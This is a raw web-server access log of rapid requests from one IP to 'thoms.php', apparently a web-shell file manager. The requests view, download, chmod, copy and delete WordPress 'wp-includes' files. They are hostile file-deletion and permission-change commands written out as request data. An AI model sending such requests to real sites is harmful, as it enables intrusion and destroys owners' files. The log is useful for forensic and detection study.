45.135.193.11 - - [11/Sep/2026:23:32:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22197 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-navigation-fallback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:45 -0400] "GET /thoms.php?dl=class-wp-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:45 -0400] "GET /thoms.php?chmod=feed-rss2.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=feed-rss2.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?dl=class-wp-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=feed-rss2.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:45 -0400] "GET /thoms.php?del=sitemaps.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=sitemaps.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:45 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fspl-autoload-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fspl-autoload-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22179 "https://163.245.207.76:443/thoms.php?del=sitemaps.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fspl-autoload-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:45 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fl10n HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fl10n" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:45 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fwidgets&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fwidgets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fl10n" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:45 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=block-bindings.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=block-bindings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fwidgets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=block-bindings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:45 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-walker-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-walker-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22281 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-walker-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:46 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:46 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:46 -0400] "GET /thoms.php?dl=theme.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=theme.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:46 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-bindings-source.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-bindings-source.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=theme.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-bindings-source.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:46 -0400] "GET /thoms.php?del=class-wp-block-parser-frame.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-frame.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:46 -0400] "GET /thoms.php?chmod=author-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=author-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-block-parser-frame.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:46 -0400] "GET /thoms.php?chmod=class-wp-locale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=author-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:46 -0400] "GET /thoms.php?del=class-wp-meta-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-meta-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22096 "https://163.245.207.76:443/thoms.php?chmod=class-wp-locale.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-meta-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:46 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-site.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-blogs.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-blogs.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22206 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22202 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-blogs.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:47 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22247 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:47 -0400] "GET /thoms.php?dl=feed-rss2.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=feed-rss2.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-text-diff-renderer-inline.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fmedia.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fmedia.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?dl=feed-rss2.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fmedia.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:47 -0400] "GET /thoms.php?dl=pluggable.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=pluggable.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:47 -0400] "GET /thoms.php?del=post-formats.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=post-formats.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=pluggable.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=post-formats.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:47 -0400] "GET /thoms.php?dl=script-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=script-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:47 -0400] "GET /thoms.php?del=https-migration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=https-migration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22228 "https://163.245.207.76:443/thoms.php?dl=script-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=https-migration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-parser.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-parser.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:48 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-error.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-error.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-parser.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-error.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:48 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-textdomain-registry.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-textdomain-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:48 -0400] "GET /thoms.php?dl=class-wp-theme-json-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-textdomain-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:48 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=feed-rss2.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=feed-rss2.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
